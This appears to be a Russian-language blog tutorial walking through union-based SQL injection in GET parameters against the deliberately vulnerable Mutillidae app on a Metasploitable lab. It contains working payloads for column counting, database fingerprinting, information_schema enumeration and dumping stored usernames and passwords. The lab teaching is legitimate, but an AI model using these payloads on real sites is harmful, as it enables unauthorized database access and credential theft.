January 15, 2022

SQL инъекция в GET запросах

Доброго времени суток, котятки.

Не буду говорить много воды и сразу перейдем к делу. У меня как обычно запущен metasploitable, открыт сайт mutillidae. Если посмотрим на адресную строку. То увидим следующее:

http://192.168.1.38/mutillidae/index.php?page=user-info.php&username=admin&password=adminpass&user-info-php-submit-button=View+Account+Details

Как мы можем заметить, отправляется GET запрос.

username: admin password: adminpass

Пароль верен и мы видим следующее:

Изменим запрос на следующее:

http://192.168.1.38/mutillidae/index.php?page=user-info.php&username=admin' order by 1%23&password=adminpass&user-info-php-submit-button=View+Account+Details

%23 это решетка.

Если мы это выполним, то получим следующее:

У нас все выполнилось, а если мы попробуем ввести order by 6, то получим ошибку:

Попробуем изменить на order by 5:

И у нас все снова выполнилось. Из пару таких запросов мы поймем, что в базе данных всего 5 столбцов.

Вместо order by, пишем:

union select 1,2,3,4,5

Нажимаем enter

И мы получаем нечто новое. Как вы видите, мы получили только 2,3,4. Это значит, что какое либо значение мы не ввели в 2,3,4, если вы напишете туда что то, оно будет отображено на этой странице. Попробуем посмотреть нашу базу данных:

union select 1, database(), user(), version(), 5

Это выражение выберет текущую базу данных, юзера базы данных и версию базы данных. Давайте посмотрим как все работает:

owasp10 это имя базы данных.

root@localhost - это значит, что мы зашли под рутом

Попробуем получить все доступны таблицы:

union select 1, table_name, null, null, 5 from information_schema.tables where table_schema='owasp10'

И мы получили все доступные таблицы. Получим имена столбцов в таблице accounts:

union select 1, column_name, null, null, 5 from information_schema.columns where table_name='accounts'

Получаем содержимое столбца username и password

union select 1, username, password, null, 5 from accounts

И мы получили все логины и пароли:

До встречи, друзья.